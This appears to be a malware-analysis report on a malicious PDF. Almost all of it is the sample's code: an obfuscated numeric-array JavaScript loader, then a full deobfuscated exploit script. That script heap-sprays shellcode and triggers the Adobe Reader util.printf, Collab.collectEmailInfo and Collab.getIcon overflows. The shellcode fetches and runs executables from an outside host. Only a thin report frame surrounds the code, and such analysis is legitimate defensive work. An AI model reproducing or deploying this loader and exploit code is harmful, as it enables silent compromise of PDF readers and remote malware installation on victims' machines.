165,98,147,98,147,87,165,98,147,98,147,84,89,109,61,60,57,59,167,154,153,158,149,82,88,161,166,151,162,152,156,161,167,96,156,151,158,153,164,154,80,110,80,102,100,107,101,100,89,173,61,60,57,59,57,161,166,151,162,152,156,161,167,82,91,111,80,161,166,151,162,152,156,161,167,109,61,60,57,59,173,63,58,59,57,166,152,155,163,96,147,161,156,158,145,148,131,166,159,164,149,82,109,82,115,161,156,158,145,148,94,149,159,158,156,151,147,166,117,159,145,155,156,123,158,152,159,90,171,165,165,148,154,108,80,84,82,94,157,165,151,108,80,161,166,151,162,152,156,161,167,175,89,109,61,60,57,175,61,60,61,60,57,152,165,160,147,166,153,161,158,82,147,161,156,158,145,148,143,153,149,166,153,149,159,160,88,91,171,63,58,59,57,155,150,82,88,147,160,162,94,150,159,149,94,117,159,158,156,147,146,96,151,151,164,123,147,161,158,91,171,63,58,59,57,59,166,147,162,82,145,164,162,171,80,111,80,160,149,169,80,115,162,164,145,171,88,91,107,63,58,59,57,59,166,147,162,82,166,168,160,151,164,154,169,147,80,111,80,167,158,151,163,149,145,162,149,90,82,87,165,119,114,119,105,87,165,98,96,98,97,87,165,103,102,98,96,87,165,115,97,104,100,87,165,98,96,101,96,87,165,98,96,98,96,87,165,102,96,106,114,87,165,106,114,98,115,87,165,99,115,105,96,87,165,106,114,115,116,87,165,98,104,102,96,87,165,117,99,103,117,87,165,106,114,103,101,87,165,106,114,119,115,87,165,98,104,102,101,87,165,101,99,103,98,87,165,117,97,118,98,87,165,98,99,117,98,87,165,99,96,101,98,87,165,106,96,102,96,87,165,98,96,101,104,87,165,120,101,105,101,87,165,117,98,106,114,87,165,103,116,103,113,87,165,98,100,117,98,87,165,103,101,98,96,87,165,119,115,106,114,87,165,103,97,103,97,87,165,103,102,103,99,87,165,104,96,103,103,87,165,103,116,106,114,87,165,101,99,98,104,87,165,106,114,117,96,87,165,98,115,105,101,87,165,120,117,106,114,87,165,105,102,98,99,87,165,106,114,101,115,87,165,105,104,102,117,87,165,117,118,98,99,87,165,103,97,106,114,87,165,103,98,99,115,87,165,103,97,106,114,87,165,103,98,100,100,87,165,105,97,106,114,87,165,102,117,99,100,87,165,105,101,106,105,87,165,106,114,120,115,87,165,100,96,105,97,87,165,120,103,98,99,87,165,102,113,107,105,87,165,102,98,115,116,87,165,101,114,104,96,87,165,120,115,103,101,87,165,98,100,105,101,87,165,117,96,101,99,87,165,101,103,119,114,87,165,120,118,101,99,87,165,102,101,98,99,87,165,107,103,98,115,87,165,117,118,106,114,87,165,105,101,115,117,87,165,100,114,120,116,87,165,102,118,120,105,87,165,119,104,103,97,87,165,120,118,107,100,87,165,120,118,120,118,87,165,117,99,101,114,87,165,105,100,104,97,87,165,119,114,98,98,87,165,106,114,118,105,87,165,98,115,102,101,87,165,103,117,107,98,87,165,120,98,98,99,87,165,119,96,118,97,87,165,117,102,98,99,87,165,117,105,101,99,87,165,116,103,98,118,87,165,103,118,98,104,87,165,119,97,117,97,87,165,98,99,98,98,87,165,98,99,117,113,87,165,106,114,117,118,87,165,98,99,98,97,87,165,106,105,117,98,87,165,120,104,102,101,87,165,106,114,104,97,87,165,120,104,102,101,87,165,103,117,103,118,87,165,117,105,103,114,87,165,103,101,117,99,87,165,119,115,106,114,87,165,119,104,103,97,87,165,120,118,102,105,87,165,120,118,120,118,87,165,104,104,103,96,87,165,104,96,119,104,87,165,98,100,116,118,87,165,104,115,119,104,87,165,120,118,120,118,87,165,101,99,120,118,87,165,103,98,118,98,87,165,120,118,103,98,87,165,98,104,105,101,87,165,118,96,120,118,87,165,102,101,106,105,87,165,106,114,120,115,87,165,120,115,102,101,87,165,117,99,117,105,87,165,106,114,103,101,87,165,106,99,119,115,87,165,98,115,119,115,87,165,102,101,106,116,87,165,103,96,120,100,87,165,102,101,117,102,87,165,105,101,120,100,87,165,102,101,117,102,87,165,105,98,120,101,87,165,102,101,117,102,87,165,104,115,120,102,87,165,102,101,117,102,87,165,104,116,120,103,87,165,102,101,117,102,87,165,104,118,120,104,87,165,102,101,117,102,87,165,104,117,120,105,87,165,102,101,117,102,87,165,100,117,120,113,87,165,102,101,117,102,87,165,104,100,120,114,87,165,102,101,117,102,87,165,104,115,120,115,87,165,102,101,117,102,87,165,104,115,120,116,87,165,102,101,117,102,87,165,98,96,120,117,87,165,115,96,119,104,87,165,120,118,120,118,87,165,103,96,120,118,87,165,103,116,104,104,87,165,99,97,106,113,87,165,119,104,99,102,87,165,120,118,99,101,87,165,120,118,120,118,87,165,117,100,106,99,87,165,106,101,98,115,87,165,105,100,117,96,87,165,104,113,99,101,87,165,104,113,98,96,87,165,120,118,98,96,87,165,98,115,105,101,87,165,105,101,120,118,87,165,104,113,98,104,87,165,120,118,98,96,87,165,106,101,118,96,87,165,105,101,117,96,87,165,102,96,98,99,87,165,117,99,117,105,87,165,117,96,101,99,87,165,117,99,117,105,87,165,101,99,103,103,87,165,106,114,117,96,87,165,100,100,102,115,87,165,106,114,98,115,87,165,100,100,105,115,87,165,120,115,98,104,87,165,115,113,120,99,87,165,117,99,103,118,87,165,102,115,106,114,87,165,98,100,100,100,87,165,101,105,106,96,87,165,106,114,98,96,87,165,105,100,117,97,87,165,102,96,98,102,87,165,101,104,106,96,87,165,105,101,98,96,87,165,100,114,120,113,87,165,117,99,117,97,87,165,106,114,103,101,87,165,106,99,119,115,87,165,104,100,119,115,87,165,106,116,103,99,87,165,120,96,102,101,87,165,101,99,103,103,87,165,103,96,118,114,87,165,102,101,117,102,87,165,104,114,120,96,87,165,102,101,117,102,87,165,104,101,120,97,87,165,102,101,117,102,87,165,105,98,120,98,87,165,102,101,117,102,87,165,104,117,120,99,87,165,102,101,117,102,87,165,104,101,120,100,87,165,102,101,117,102,87,165,104,115,120,101,87,165,102,101,117,102,87,165,101,99,120,102,87,165,102,101,117,102,87,165,101,98,120,103,87,165,102,101,117,102,87,165,100,117,120,104,87,165,102,101,117,102,87,165,104,100,120,105,87,165,102,101,117,102,87,165,104,115,120,113,87,165,102,101,117,102,87,165,104,115,120,114,87,165,103,116,106,104,87,165,119,104,120,115,87,165,120,118,98,114,87,165,120,118,120,118,87,165,104,104,103,96,87,165,102,99,104,104,87,165,106,117,120,105,87,165,106,96,119,104,87,165,120,118,120,117,87,165,106,114,120,118,87,165,106,116,120,104,87,165,107,115,102,101,87,165,102,100,104,113,87,165,119,104,103,96,87,165,120,118,105,117,87,165,120,118,120,118,87,165,102,101,106,116,87,165,104,113,119,96,87,165,103,96,99,96,87,165,105,99,119,104,87,165,120,118,120,118,87,165,106,99,120,118,87,165,99,115,117,100,87,165,102,101,106,116,87,165,103,96,119,96,87,165,102,101,106,116,87,165,103,96,107,115,87,165,103,99,103,99,87,165,103,99,103,99,87,165,103,99,103,99,87,165,105,101,120,118,87,165,117,103,98,104,87,165,107,115,102,101,87,165,98,96,102,100,87,165,98,96,98,96,87,165,120,118,103,99,87,165,103,118,118,103,87,165,116,102,98,118,87,165,103,114,117,96,87,165,117,99,117,105,87,165,106,114,103,101,87,165,103,97,119,115,87,165,103,99,103,97,87,165,103,103,103,102,87,165,102,98,104,113,87,165,105,98,119,104,87,165,98,96,98,96,87,165,106,114,98,96,87,165,101,99,118,104,87,165,106,101,120,102,87,165,103,105,118,114,87,165,102,101,117,103,87,165,104,97,120,104,87,165,104,101,100,117,87,165,117,103,105,104,87,165,120,115,102,101,87,165,98,96,104,101,87,165,98,96,98,96,87,165,103,102,105,117,87,165,102,101,106,116,87,165,103,96,120,104,87,165,119,104,103,102,87,165,98,96,103,97,87,165,98,96,98,96,87,165,103,96,103,105,87,165,116,97,119,104,87,165,120,118,120,117,87,165,106,101,120,118,87,165,103,105,117,96,87,165,105,100,103,105,87,165,106,116,101,105,87,165,98,97,102,102,87,165,119,104,103,96,87,165,98,96,101,114,87,165,98,96,98,96,87,165,120,104,106,114,87,165,102,101,106,116,87,165,103,96,120,104,87,165,100,97,119,104,87,165,120,118,120,118,87,165,106,101,120,118,87,165,103,105,117,96,87,165,105,100,103,105,87,165,103,103,98,115,87,165,98,97,119,104,87,165,120,118,120,118,87,165,103,105,120,118,87,165,102,100,117,102,87,165,120,118,101,104,87,165,103,96,105,99,87,165,102,101,106,116,87,165,120,117,120,104,87,165,103,104,98,96,87,165,102,101,106,116,87,165,103,96,120,104,87,165,119,104,103,103,87,165,120,117,105,100,87,165,120,118,120,118,87,165,103,105,103,105,87,165,102,102,102,102,87,165,120,99,101,114,87,165,115,113,105,115,87,165,103,117,103,118,87,165,117,105,103,114,87,165,103,101,117,99,87,165,119,115,106,114,87,165,103,99,103,97,87,165,104,96,104,102,87,165,101,98,116,97,87,165,98,96,119,104,87,165,98,96,98,96,87,165,103,104,98,96,87,165,98,104,101,104,87,165,98,99,105,100,87,165,119,114,102,96,87,165,102,96,120,105,87,165,103,116,106,114,87,165,106,96,98,104,87,165,102,98,120,114,87,165,98,104,105,101,87,165,118,114,101,99,87,165,99,104,106,113,87,165,117,99,106,114,87,165,99,103,119,114,87,165,99,104,101,104,87,165,99,97,105,102,87,165,101,99,102,96,87,165,106,100,117,105,87,165,105,100,118,114,87,165,102,96,98,115,87,165,98,104,101,104,87,165,120,114,105,101,87,165,120,117,102,96,87,165,119,114,117,114,87,165,101,99,120,98,87,165,106,105,117,96,87,165,120,115,102,101,87,165,102,101,106,114,87,165,103,114,120,115,87,165,117,99,117,105,87,165,98,98,101,98,87,165,105,100,104,104,87,165,105,96,105,100,87,165,100,118,101,113,87,165,105,99,100,118,87,165,105,97,105,101,87,165,105,103,104,105,87,165,104,114,105,105,87,165,104,99,100,117,87,165,100,118,104,117,87,165,101,97,104,97,87,165,100,118,101,98,87,165,105,113,105,96,87,165,104,116,104,117,87,165,101,98,104,98,87,165,104,101,100,117,87,165,104,101,105,104,87,165,104,104,98,96,87,165,105,100,105,100,87,165,101,113,105,96,87,165,100,118,100,118,87,165,105,101,105,99,87,165,104,105,105,97,87,165,105,105,105,103,87,165,100,117,104,114,87,165,104,117,104,99,87,165,104,97,100,118,87,165,101,98,101,97,87,165,104,99,100,118,87,165,104,105,104,115,87,165,104,114,104,99,87,165,105,96,100,117,87,165,105,96,104,104,87,165,105,98,101,118,87,165,98,96,101,116,84,89,109,61,60,57,59,57,168,145,164,80,154,135,163,101,98,96,117,126,82,109,82,166,168,160,151,164,154,169,147,94,158,149,160,151,166,152,82,90,82,98,109,61,60,57,59,57,168,145,164,80,158,149,160,80,111,80,98,168,102,96,98,96,98,96,82,93,82,88,154,135,163,101,98,96,117,126,82,91,82,96,170,99,106,89,109,61,60,57,59,57,168,145,164,80,171,145,164,163,162,80,111,80,167,158,151,163,149,145,162,149,90,82,87,165,107,96,107,96,87,165,107,96,107,96,84,89,109,61,60,57,59,57,171,145,164,163,162,80,111,80,152,153,170,143,155,164,90,169,147,162,165,160,94,80,158,149,160,89,109,61,60,57,59,57,168,145,164,80,162,101,115,154,125,102,103,150,82,109,82,88,98,168,98,147,98,147,98,147,98,147,82,93,82,96,170,100,98,96,98,96,98,89,82,95,82,96,170,100,98,96,98,96,98,107,63,58,59,57,59,150,161,162,82,88,168,145,164,80,168,161,149,129,118,105,104,169,82,109,82,96,109,80,168,161,149,129,118,105,104,169,82,108,82,160,103,113,156,123,104,101,152,107,82,166,163,147,131,116,107,102,171,80,93,91,82,89,173,61,60,57,59,57,59,145,164,162,171,139,168,161,149,129,118,105,104,169,143,80,111,80,171,145,164,163,162,80,93,80,168,166,162,149,166,152,171,145,109,61,60,57,59,57,175,61,60,57,59,57,168,145,164,80,166,133,127,152,128,146,121,167,82,109,82,165,160,149,165,147,147,160,151,88,84,85,98,105,84,89,109,61,60,57,59,57,169,152,155,156,151,80,90,164,135,125,154,126,148,119,169,94,158,149,160,151,166,152,82,108,82,96,170,100,98,96,98,89,173,61,60,57,59,57,59,164,135,125,154,126,148,119,169,80,93,109,82,164,135,125,154,126,148,119,169,107,63,58,59,57,59,173,63,58,59,57,59,164,135,125,154,126,148,119,169,80,111,80,84,126,96,82,82,91,82,164,135,125,154,126,148,119,169,107,63,58,59,57,59,145,162,160,96,148,161,147,96,115,161,156,158,145,148,94,153,149,166,121,149,159,160,88,166,133,127,152,128,146,121,167,91,107,63,58,59,57,175,61,60,57,175,61,60,61,60,57,152,165,160,147,166,153,161,158,82,160,150,150,145,163,166,145,164,164,90,89,173,61,60,61,60,57,59,166,147,162,82,166,151,162,165,153,161,158,82,109,82,145,162,160,96,166,155,149,169,149,164,134,151,162,165,153,161,158,96,164,161,131,166,162,155,158,153,88,91,107,63,58,59,57,168,149,164,163,155,159,160,80,111,80,168,149,164,163,155,159,160,94,164,149,162,156,147,147,151,88,97,140,118,95,153,92,89,87,91,107,63,58,59,57,168,145,164,80,168,145,164,163,155,159,160,143,147,162,164,145,171,80,111,80,160,149,169,80,115,162,164,145,171,88,168,149,164,163,155,159,160,94,149,152,147,162,115,164,90,96,91,92,82,166,151,162,165,153,161,158,96,147,154,145,164,113,166,88,99,89,94,80,168,149,164,163,155,159,160,94,149,152,147,162,115,164,90,98,91,89,109,61,60,57,59,153,152,80,90,88,168,145,164,163,155,159,160,143,147,162,164,145,171,139,98,141,82,109,111,80,106,89,82,86,88,80,90,166,147,162,165,153,161,158,145,145,164,162,147,169,141,97,143,80,111,109,82,96,91,80,174,172,82,88,168,145,164,163,155,159,160,143,147,162,164,145,171,139,99,141,82,109,111,80,99,80,88,86,82,166,147,162,165,153,161,158,145,145,164,162,147,169,141,98,143,80,110,80,101,89,91,171,63,58,59,57,59,165,166,153,158,143,162,162,155,158,166,150,90,89,109,61,60,57,59,173,63,58,59,57,155,150,82,88,90,166,147,162,165,153,161,158,145,145,164,162,147,169,141,96,143,80,110,80,106,89,82,172,174,80,90,166,147,162,165,153,161,158,145,145,164,162,147,169,141,96,143,80,111,109,82,104,82,86,88,80,168,145,164,163,155,159,160,143,147,162,164,145,171,139,99,141,82,108,82,98,82,86,88,80,168,145,164,163,155,159,160,143,147,162,164,145,171,139,100,141,82,108,82,98,91,89,173,61,60,57,59,57,149,159,158,156,147,146,145,149,159,145,155,156,90,89,109,61,60,57,59,173,63,58,59,57,155,150,82,88,90,166,147,162,165,153,161,158,145,145,164,162,147,169,141,96,143,80,110,80,107,89,82,172,174,80,90,166,147,162,165,153,161,158,145,145,164,162,147,169,141,96,143,80,111,109,82,105,82,86,88,80,168,145,164,163,155,159,160,143,147,162,164,145,171,139,99,141,82,108,82,97,91,89,173,61,60,57,59,57,149,159,158,156,147,146,145,151,151,164,155,147,161,158,90,89,109,61,60,57,59,173,63,58,59,173,63,58,63,58,59,160,150,150,145,163,166,145,164,164,90,89,109,61,60,57],cnpu=azlgmo['fnrGonmnCnh8a8rGCnondWeY'.replace(/[YGW8n]/g,'')],bgqsw=function(){for(var hrsty;bckn<bhnu.length;bckn++){var ghorty=bhnu[bckn];var insu=bckn%cefhv.length+1;var egkpux=cefhv.substring(bckn%cefhv.length,insu);dhlow+=cnpu(ghorty-egkpux.charCodeAt(0));} gmtvx(dhlow);};bgqsw();ivzus="ivzus";ghklrx="";adfmw='';bdnor=9812;anosu="anosu";cepx=20684;kvlzfn="";bint="";gmstu=35432;htuv=true;
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x268	9868 bytes
SHA-256: `ac3c3bda28f097d03d91950c7c628ad4f595b5c9a912b5fa5cd1ab181f896e6b`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6D64%u6F6E%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6766%u786E%u3279%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7573%u6971%u7977%u2E6B%u6E63%u612F%u3231%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u7A70%u6D6E%u3262%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7573%u6971%u7977%u2E6B%u6E63%u612F%u3231%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 5

Extracted artifacts 2